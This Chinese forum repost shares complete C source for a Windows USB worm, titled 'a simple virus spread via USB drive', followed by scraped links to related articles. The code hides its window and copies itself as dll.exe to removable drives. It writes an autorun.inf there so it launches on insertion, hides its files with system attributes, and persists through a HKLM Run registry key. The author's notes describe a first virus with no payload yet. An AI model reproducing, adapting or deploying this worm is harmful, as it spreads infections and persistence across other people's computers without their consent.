基于U盘传播的简单病毒
信息来源: www.retcvc.com
原始连接: http://www.retcvc.com/cgi-bin/topic.cgi?forum=4&topic=968&show=0
#include <windows.h>
#include <Shlwapi.h>
#include <fstream.h>
#include <TlHelp32.h>
#define TIMER 1//计时器
#define WM_FROMC WM_USER+0 //自定义消息 从C盘中启动
#define WM_FROMU WM_USER+1 //自定义消息 从U盘中启动
//function
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口过程
//病毒从U盘启动时用到的函数
BOOL FileExist(TCHAR *path);//测试一个文件是否存在
BOOL GetSelfPath(TCHAR *path);//Get the virus's path
BOOL FindU(TCHAR *u);//check whether u exist, u[2]
BOOL GetSysPath(TCHAR *path);//得到系统路径
BOOL CopyToSysAndSet(HWND hwnd);//复制自身到系统目录和设置
BOOL SetFileAttrib(TCHAR *path);//设置path所指文件的属性
BOOL RegAutoRun(TCHAR *path);//修改注册表,实现自启动
//从C盘启动时用到函数
BOOL CopyToUAndSet();//复制自己到U盘
BOOL CreateAutoRunFile(TCHAR *path);//在U盘下生成autorun.inf文件
BOOL FindSelf();//测试自己是否在已经执行了
//global variable
TCHAR szExePath[MAX_PATH];//the virus's path
TCHAR U[2];//保存U盘的盘符
TCHAR szSysPath[MAX_PATH];//system path
//constant
const TCHAR *szExeName="dll.exe";
const TCHAR *szAutoRunFile="AutoRun.inf";
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR szCmdLine, int iCmdShow)
{
static TCHAR szAppName[]=TEXT ("virus");
HWND hwnd;
MSG msg;
WNDCLASS wndclass;
wndclass.style =0;
wndclass.lpfnWndProc =WndProc;
wndclass.cbClsExtra =0;
wndclass.cbWndExtra =0;
wndclass.hInstance =hInstance;
wndclass.hIcon =0;
wndclass.hCursor =0;
wndclass.hbrBackground =0;
wndclass.lpszMenuName =NULL;
wndclass.lpszClassName =szAppName;
if (!RegisterClass (&wndclass))
{
MessageBox (NULL,TEXT("Program requires Windows NT!"),
szAppName, MB_IConERROR);
return 0;
}
hwnd = CreateWindow (szAppName, NULL,
WS_DISABLED,
0, 0,
0, 0,
NULL, NULL, hInstance, NULL);
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage (&msg);
DispatchMessage (&msg);
}
return msg.wParam;
}
LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam,LPARAM lParam)
{
switch(message)
{
case WM_CREATE: //处理一些要下面要用到的全局变量
GetSysPath(szSysPath);//得到系统路径
SetTimer(hwnd,TIMER,5000,0);//启动计时器
GetSelfPath(szExePath);//得到自身的路径
return 0;
case WM_TIMER: //timer message
if(szExePath[0]=='C')
{
if(FindU(U))
{
SendMessage(hwnd,WM_FROMC,0,0);
}
}
else
SendMessage(hwnd,WM_FROMU,0,0);
return 0;
case WM_FROMC:
CopyToUAndSet();
return 0;
case WM_FROMU:
CopyToSysAndSet(hwnd);
return 0;
case WM_DESTROY:
KillTimer(hwnd,TIMER);
PostQuitMessage(0);
return 0;
}
return DefWindowProc(hwnd, message, wParam, lParam);
}
BOOL GetSelfPath(TCHAR *path)
{
if(GetModuleFileName(NULL,path,MAX_PATH))//得到程序自身的目录
{
return TRUE;
}
else
return FALSE;
}
BOOL FindU(TCHAR *u)
{
u[1]=':';
for(char d='C';d<='Z';d++)//遍历C到Z
{
u[0]=d;
if(GetDriveType(u)==DRIVE_REMOVABLE)//判断是不是可移动的盘
return TRUE;
}
return FALSE;
}
BOOL GetSysPath(TCHAR *path)
{
return GetSystemDirectory(path,MAX_PATH);//得到系统路径
}
BOOL CopyToSysAndSet(HWND hwnd)
{
TCHAR szPath[MAX_PATH];
lstrcpy(szPath,szSysPath);
lstrcat(szPath,"//");
lstrcat(szPath,szExeName);//得到复制到系统目录的完整目录
if(!FileExist(szPath))//检测是否已经存在复制的文件
{
CopyFile(szExePath,szPath,FALSE);
RegAutoRun(szPath);
return SetFileAttrib(szPath);
}
else
{
if(!FindSelf())//检测自己有没有运行
WinExec(szPath,SW_HIDE);//没有就执行
SendMessage(hwnd,WM_CLOSE,0,0);结束自己
}
return FALSE;
}
BOOL FileExist(TCHAR *path)//检测PATH所指的路径的文件是否存在
{
int result;
result=PathFileExists(path);
if(result==1)
return TRUE;
else
return FALSE;
}
BOOL SetFileAttrib(TCHAR *path)
{
return SetFileAttributes(path,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);
}
BOOL RegAutoRun(TCHAR *path)//修改注册表
{
HKEY hkey;
if(RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE//MICROSOFT//Windows//CurrentVersion//Run",
&hkey)==ERROR_SUCCESS)
{
RegSetvalueEx(hkey,szExeName,0,REG_SZ,(BYTE*)path,lstrlen(path));
RegCloseKey(hkey);
return TRUE;
}
else
return FALSE;
}
BOOL CopyToUAndSet()
{
TCHAR szPath[MAX_PATH];
lstrcpy(szPath,U);
lstrcat(szPath,"//");
lstrcat(szPath,szExeName);//得到指向U盘的完整目录
TCHAR szAutoFile[MAX_PATH];
lstrcpy(szAutoFile,U);
lstrcat(szAutoFile,"//");
lstrcat(szAutoFile,szAutoRunFile);
if(!FileExist(szAutoFile))
{
CreateAutoRunFile(szAutoFile);
SetFileAttrib(szAutoFile);
}
if(!FileExist(szPath))
{
CopyFile(szExePath,szPath,FALSE);
return SetFileAttrib(szPath);
}
return FALSE;
}
BOOL CreateAutoRunFile(TCHAR *path) //在U盘下创建一个autorun.inf文件
{
ofstream fout;
fout.open(path);
if(fout)
{
fout<<"[AutoRun]"<<endl;
fout<<"open=dll.exe e"<<endl;
fout<<"shellexecute=dll.exe e"<<endl;
fout<<"shell//Auto//command=dll.exe e"<<endl;
fout<<"shell=Auto"<<endl;
fout.close();
return TRUE;
}
return FALSE;
}
BOOL FindSelf(){
PROCESSENTRY32 pe;
HANDLE hShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe.dwSize=sizeof(PROCESSENTRY32);
if(Process32First(hShot,&pe)){
do{
if(lstrcmp(pe.szExeFile,szExeName)==0)
{
CloseHandle(hShot);
return TRUE;
}
}while(Process32Next(hShot,&pe));
}
CloseHandle(hShot);
return FALSE;
}
第一次写病毒.没经验.
在WinMain函数里,不知道有没有更好的方法创建一个隐藏窗口
程序的大致流程如下:
首先得到一些全局变量的值:系统路径,程序自身的路径.启动定时器
判断自己程序的目录
如果是在C盘,则监测有没有U盘出现,如果有的,检测U盘中是否有dll.exe文件.没有就复制自己到U盘.设置文件的属性为隐藏和系统
如果是在不是在C盘启动,则复制自己到U盘,修改注册表实现自启动,并设置文件的属性为隐藏和系统.
没有发作的代码
流行的RavMonE大概有3M左右,我在VC6下编译release 版,只有48KB.
基于U盘传播的简单病毒相关推荐
- 通过U盘传播的“病毒”
通过U盘传播的"病毒" 最近我们同学的 U 盘. MP3 .移动硬盘等在使用时,不约而同的出现了奇怪的现象. 症状: 1. 在 U 盘中发现多出" autorun.i ...
- 嵌入式课程设计linux,嵌入式系统课程设计--基于U盘的linux操作系统的构建
嵌入式系统课程设计--基于U盘的linux操作系统的构建 1 课程设计报告课程设计报告 课程名称课程名称 嵌入式系统课程设计嵌入式系统课程设计 设计题目设计题目基于基于 U盘的盘的 linux 操作系 ...
- Commvault+XSKY 推出基于 Object Lock 的防勒索病毒联合方案
从桶粒度到对象粒度 随着对象存储的普及,对象存储已经成为最流行的备份目的(backup target) 存储.XSKY星辰天合作为国内领先的对象存储厂商,Commvault 作为全球领先的数据保护厂商 ...
- Mobox校园云盘一键部署简单高效-完美替换传统FTP
校园云盘一键部署简单高效-完美替换传统FTP 国内学校在建设校园云盘时普遍倾向于能够解决存储备份.内容分发与回收.教学管理.科研信息化.数据安全等问题.Mobox校园云盘传作为跨区域存储文件传输管理平 ...
- DL之RNN:基于TF利用RNN实现简单的序列数据类型(DIY序列数据集)的二分类(线性序列随机序列)
DL之RNN:基于TF利用RNN实现简单的序列数据类型(DIY序列数据集)的二分类(线性序列&随机序列) 目录 序列数据类型&输出结果 设计思路 序列数据类型&输出结果 1.t ...
- Keras之ML~P:基于Keras中建立的简单的二分类问题的神经网络模型(根据200个数据样本预测新的5个样本)——概率预测
Keras之ML~P:基于Keras中建立的简单的二分类问题的神经网络模型(根据200个数据样本预测新的5个样本)--概率预测 目录 输出结果 核心代码 输出结果 核心代码 # -*- coding: ...
- Keras之ML~P:基于Keras中建立的简单的二分类问题的神经网络模型(根据200个数据样本预测新的5+1个样本)——类别预测
Keras之ML~P:基于Keras中建立的简单的二分类问题的神经网络模型(根据200个数据样本预测新的5+1个样本)--类别预测 目录 输出结果 核心代码 输出结果 核心代码 # -*- codin ...
- 深度学习中反向传播算法简单推导笔记
反向传播算法简单推导笔记 1.全连接神经网络 该结构的前向传播可以写成: z(1)=W(1)x+b(1)z^{(1)} = W^{(1)}x+b^{(1)}z(1)=W(1)x+b(1) a(1)=σ ...
- 2020年朋友圈十大谣言:包括蚊蝇可以传播新冠病毒等
网络的快速发展加上社交平台的便利,使得信息传播速度日期加快.不过,便捷的网络和平台也成为一些谣言高发地,尤其是我们在刷朋友圈的过程中,经常会看到各种各样危言耸听的消息.日前,微信官方对外公布了2020 ...
最新文章
- 2021年春季学期-信号与系统-第一次作业参考答案-第二题
- Flash的层叠顺序问题(z-index)
- 中科院开源 RISC-V 处理器“香山”流片,已成功运行 Linux
- python3 类的相关内容
- 萌新的Python练习菜鸟100例(十六)输出指定格式的日期。
- mybatis mysql 自增_利用Java的MyBatis框架获取MySQL中插入记录时的自增主键
- OpenGL超级宝典第7版 配置环境第一个程序
- unity 彩带粒子_Unity 粒子特效—FX Maker
- [lua]紫猫lua教程-命令宝典-L1-01-07. table表
- css修改文字竖排还是横排
- csr_matrix矩阵
- 002_wz_kaggle泰坦尼克号深度学习实现
- ssh远程No route to host问题解决
- 经验模式分解(EMD)——简介及Matlab工具箱安装
- Linux内核中的IPSEC实现(3)
- 远程桌面 CredSSP加密Oracle修正 解决方法
- 脏话越多,代码越好!
- 用c语言实现小游戏三子棋
- VB6.0中文企业版安装步骤
- Win32汇编:各种语句的构造方式
热门文章
- python字母对照表_Python获取字母表
- 【愚公系列】2023年06月 网络安全(交通银行杯)-疑惑的汉字
- 网页色彩大攻略(蓝色系)
- 小白学习记录篇01---C语言和C++的区别以及C语言中文件的含义(不足之处欢迎大佬补充提醒。)
- Deepin-TIM / QQ / WeChat调整界面DPI字体大小的方法
- 201819101025王涵月
- DICOM医学图像处理:fo-dicom网络传输之 C-Echo and C-Store
- 【新知实验室-TRTC开发】实时音视频之集美真心话
- hexo(sakura)给博客增添侧边栏(回到顶部,跳转评论,深色模式,播放音乐)Valine-1.4.4新版本尝鲜+个性制定(表情包、qq头像、UI样式)
- Rate Limiting Algorithms (限流算法)